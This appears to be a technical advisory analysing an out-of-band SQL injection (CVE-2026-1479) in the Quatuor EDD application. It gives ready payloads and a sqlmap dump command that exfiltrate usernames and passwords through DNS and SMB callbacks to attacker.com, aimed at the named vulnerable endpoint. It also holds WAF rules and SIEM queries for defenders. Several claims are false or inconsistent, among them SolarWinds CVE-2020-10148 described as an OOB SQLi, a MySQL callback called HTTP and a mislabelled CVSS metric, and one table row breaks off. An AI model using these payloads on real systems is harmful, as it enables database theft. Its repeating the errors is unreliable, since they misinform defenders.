Comprehensive Technical Analysis of EUVD-2026-4777 (CVE-2026-1479)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-4777 (CVE-2026-1479) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the /evaluacion_hca_ver_auto.asp endpoint, where improper sanitization of the Id_usuario and Id_evaluacion parameters enables attackers to exfiltrate sensitive database information via external network channels (e.g., DNS, HTTP, or SMB requests).

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.3 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Attack Requirements (AT:N): No user interaction or prior authentication needed.
• Privileges Required (PR:N): No privileges required (unauthenticated exploitation).
• User Interaction (UI:N): No user interaction required.
• Confidentiality (VC:H): High impact; sensitive data can be exfiltrated.
• Integrity (VI:H): High impact; potential for data manipulation (e.g., via stacked queries).
• Availability (VA:L): Low impact; exploitation does not directly disrupt service.
• Subsequent Confidentiality (SC:N): No further confidentiality impact beyond initial exploitation.
• Subsequent Integrity (SI:N): No further integrity impact.
• Subsequent Availability (SA:N): No further availability impact.

Key Takeaways:

• Critical severity due to unauthenticated remote exploitation with high confidentiality and integrity impact.
• OOB SQLi is particularly dangerous because it bypasses traditional detection mechanisms (e.g., WAFs, IDS) by using asynchronous data exfiltration (e.g., DNS tunneling, HTTP callbacks).

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanics

OOB SQLi leverages database functions that trigger external network requests to exfiltrate data. Common techniques include:

A. DNS Exfiltration (Most Common)

• Payload Example (Microsoft SQL Server):

  DECLARE @p varchar(1024);
  SELECT @p = (SELECT TOP 1 username FROM users);
  EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share"');
  

  • The database attempts to resolve a UNC path (\\data.attacker.com), leaking data via DNS queries.
  • Tools: sqlmap (with --dns-domain), Burp Collaborator, custom DNS listeners.

B. HTTP/S Exfiltration

• Payload Example (MySQL):

  SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'));
  

  • Forces the database to make an HTTP request to an attacker-controlled server.
  • Tools: sqlmap (with --technique=O), ngrok for callback testing.

C. SMB/UNC Path Exfiltration

• Payload Example (MSSQL):

  EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 password FROM users);
  

  • Triggers an SMB connection to an attacker-controlled server.

D. Time-Based OOB (Less Common)

• If network egress is restricted, attackers may use delayed responses (e.g., WAITFOR DELAY) to infer data via timing attacks.

Attack Workflow

1. Reconnaissance:

   • Identify vulnerable parameters (Id_usuario, Id_evaluacion) via manual testing or automated tools.
   • Determine backend database (likely Microsoft SQL Server or MySQL based on .asp extension).

2. Exploitation:

   • Craft OOB SQLi payloads to extract data (e.g., usernames, passwords, PII).
   • Use DNS/HTTP callbacks to bypass firewalls and exfiltrate data.

3. Post-Exploitation:

   • Escalate privileges (if stacked queries are supported).
   • Pivot to other systems (e.g., via stolen credentials or lateral movement).

Detection Challenges

• Evasion of Traditional Defenses:
  • WAFs/IDS may not detect OOB SQLi since data is exfiltrated via legitimate-looking DNS/HTTP requests.
  • No direct response from the application (data is sent asynchronously).
• False Negatives in Scanners:
  • Automated tools (e.g., sqlmap) may miss OOB SQLi unless explicitly configured (--technique=O).

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3. Affected Systems and Software Versions

Impacted Product

• Application: Evaluación de Desempeño (EDD)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (no patch available as of the publication date).
• Vulnerable Endpoint: /evaluacion_hca_ver_auto.asp
• Vulnerable Parameters: Id_usuario, Id_evaluacion

Deployment Context

• Target Organizations:
  • Public sector entities (likely used in government HR systems).
  • Private companies in Spain/Latin America (given the vendor’s regional focus).
• Database Backend:
  • Likely Microsoft SQL Server (common in legacy ASP applications).
  • Possible MySQL or PostgreSQL (less common but plausible).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Input Validation & Parameterized Queries

   • Replace dynamic SQL with prepared statements (e.g., ADODB.Command in ASP).
   • Example Fix (ASP Classic):

     Set cmd = Server.CreateObject("ADODB.Command")
     cmd.ActiveConnection = conn
     cmd.CommandText = "SELECT * FROM evaluaciones WHERE Id_usuario = ? AND Id_evaluacion = ?"
     cmd.Parameters.Append cmd.CreateParameter("@Id_usuario", adInteger, adParamInput, , Id_usuario)
     cmd.Parameters.Append cmd.CreateParameter("@Id_evaluacion", adInteger, adParamInput, , Id_evaluacion)
     Set rs = cmd.Execute()
     

2. Web Application Firewall (WAF) Rules

   • Deploy custom WAF rules to block:
     • DNS/HTTP exfiltration patterns (e.g., xp_dirtree, LOAD_FILE).
     • UNC path injections (e.g., \\attacker.com).
   • Example ModSecurity Rule:

     SecRule REQUEST_FILENAME "@contains evaluacion_hca_ver_auto.asp" \
       "id:1001,\
       phase:2,\
       t:none,\
       block,\
       msg:'OOB SQLi Attempt - UNC Path Detected',\
       logdata:'%{MATCHED_VAR}',\
       chain"
       SecRule ARGS "@pmFromFile uncsqli.txt" "t:none,t:urlDecodeUni"
     

3. Network-Level Protections

   • Restrict outbound DNS/HTTP/SMB from the web server to trusted destinations.
   • Monitor for anomalous DNS queries (e.g., long subdomains, unusual TLDs).

4. Temporary Workarounds

   • Disable vulnerable parameters if not critical to functionality.
   • Implement IP whitelisting for the affected endpoint.

Long-Term Remediation

1. Code Audit & Secure Development

   • Conduct a full security review of the EDD application.
   • Adopt secure coding practices (OWASP Top 10, CWE-89).
   • Use ORM frameworks (e.g., Entity Framework) to abstract SQL queries.

2. Database Hardening

   • Disable dangerous stored procedures (e.g., xp_cmdshell, xp_dirtree).
   • Restrict database user permissions (least privilege principle).
   • Enable SQL Server Audit Logging to detect OOB attempts.

3. Patch Management

   • Apply vendor patches as soon as they become available.
   • Monitor INCIBE and CVE databases for updates.

4. Threat Detection & Response

   • Deploy EDR/XDR solutions to detect anomalous outbound connections.
   • Implement SIEM rules for OOB SQLi indicators (e.g., DNS tunneling, SMB callbacks).
   • Conduct red team exercises to test OOB SQLi defenses.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):

  • Article 32 (Security of Processing): Organizations must implement appropriate technical measures to prevent unauthorized data access.
  • Article 33 (Data Breach Notification): If exploited, affected entities must report breaches within 72 hours.
  • Potential Fines: Up to €20 million or 4% of global revenue (whichever is higher).

• NIS2 Directive (Network and Information Security):

  • Critical entities (e.g., government, healthcare) must report significant incidents.
  • Supply chain risks: Third-party vendors (e.g., Quatuor) may introduce vulnerabilities.

• ENISA Guidelines:

  • ENISA’s "SQL Injection Prevention Cheat Sheet" recommends parameterized queries and WAF protections.
  • OOB SQLi is explicitly flagged as a high-risk attack vector in ENISA’s threat reports.

Broader Cybersecurity Risks

• Targeting of Public Sector:

  • EDD is likely used in government HR systems, making it a high-value target for espionage.
  • APT groups (e.g., Russian/Chinese state-sponsored actors) may exploit this for data theft.

• Supply Chain Attacks:

  • If Quatuor’s software is widely deployed, a single vulnerability could impact multiple organizations.
  • Example: A similar OOB SQLi in SolarWinds Orion (CVE-2020-10148) led to large-scale breaches.

• Underground Exploitation:

  • Initial Access Brokers (IABs) may weaponize this vulnerability for ransomware attacks.
  • Dark web forums could see PoC exploits within weeks of disclosure.

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6. Technical Details for Security Professionals

Exploitation Proof of Concept (PoC)

Step 1: Identify Vulnerable Parameters

• Manual Testing:

  GET /evaluacion_hca_ver_auto.asp?Id_usuario=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.attacker.com\\share')))-- HTTP/1.1
  Host: vulnerable-target.com
  

  • If the database attempts to resolve Microsoft SQL Server 2019.attacker.com, the parameter is vulnerable.

Step 2: DNS Exfiltration (MSSQL)

• Payload:

  DECLARE @p varchar(1024);
  SELECT @p = (SELECT TOP 1 username FROM users);
  EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share"');
  

• Expected Behavior:
  • The database sends a DNS query to username.attacker.com.
  • Attacker captures the query via a DNS listener (e.g., dnscat2, Burp Collaborator).

Step 3: Automated Exploitation (sqlmap)

sqlmap -u "https://vulnerable-target.com/evaluacion_hca_ver_auto.asp?Id_usuario=1&Id_evaluacion=1" \
  --technique=O --dns-domain=attacker.com --batch --dump

• Flags:
  • --technique=O: Forces OOB SQLi testing.
  • --dns-domain: Specifies the attacker-controlled domain.
  • --dump: Extracts database contents.

Detection & Forensics

Indicators of Compromise (IoCs)

IoC Type	Example
DNS Queries	admin.attacker.com, password123.attacker.com
HTTP Requests	GET /?data=exfiltrated_data HTTP/1.1
SMB Connections	\\attacker.com\share\stolen_data
Database Logs	xp_dirtree, LOAD_FILE, OPENROWSET

SIEM Detection Rules (Splunk Example)

index=network sourcetype=dns
| search query="*.attacker.com"
| stats count by src_ip, query
| where count > 5

index=web sourcetype=access_combined
| search uri_path="/evaluacion_hca_ver_auto.asp" AND (uri_query="*xp_dirtree*" OR uri_query="*LOAD_FILE*")
| table _time, src_ip, uri_query

Reverse Engineering the Vulnerable Code

• Likely Vulnerable ASP Code:

  <%
  Dim Id_usuario, Id_evaluacion, sql
  Id_usuario = Request.QueryString("Id_usuario")
  Id_evaluacion = Request.QueryString("Id_evaluacion")
  
  sql = "SELECT * FROM evaluaciones WHERE Id_usuario = " & Id_usuario & " AND Id_evaluacion = " & Id_evaluacion
  Set rs = conn.Execute(sql)
  %>
  

• Root Cause:
  • Direct string concatenation without parameterization.
  • No input sanitization (e.g., Replace(Id_usuario, "'", "''") is insufficient).

Database-Specific Exploitation Notes

Database	OOB Technique	Example Payload
Microsoft SQL	xp_dirtree, xp_fileexist	EXEC xp_dirtree '\\data.attacker.com\share'
MySQL	LOAD_FILE, INTO OUTFILE	SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\share'))
PostgreSQL	COPY ... TO PROGRAM	COPY (SELECT password FROM users) TO PROGRAM 'nslookup data.attacker.com'
Oracle	UTL_HTTP, UTL_INADDR	`UTL_HTTP.REQUEST('http://'

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-4777 (CVE-2026-1479) is a critical OOB SQLi vulnerability with high confidentiality and integrity impact.
• Exploitation is trivial for unauthenticated attackers and can lead to full database compromise.
• Mitigation requires immediate patching, WAF rules, and network-level controls.
• European organizations must comply with GDPR/NIS2 and report breaches if exploited.

Action Plan for Security Teams

1. Immediate:

   • Apply WAF rules to block OOB SQLi patterns.
   • Restrict outbound DNS/HTTP/SMB from the web server.
   • Monitor for exploitation attempts via SIEM.

2. Short-Term (1-4 Weeks):

   • Patch the application if a vendor fix is released.
   • Conduct a code audit to identify and remediate similar vulnerabilities.
   • Test for OOB SQLi in other applications using sqlmap or manual techniques.

3. Long-Term (1-6 Months):

   • Adopt secure development practices (parameterized queries, ORM).
   • Implement database activity monitoring (DAM).
   • Train developers on SQL injection prevention.

Final Risk Assessment

Factor	Risk Level	Justification
Exploitability	High	Unauthenticated, low complexity.
Impact	Critical	Full database compromise possible.
Likelihood of Exploit	High	OOB SQLi is actively exploited in the wild.
Mitigation Difficulty	Medium	Requires code changes and WAF tuning.

Overall Risk: Critical (9.3 CVSS) – Immediate action required.

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References:

• INCIBE Advisory
• OWASP SQL Injection Prevention Cheat Sheet
• ENISA Threat Landscape Report
• CVSS v4.0 Specification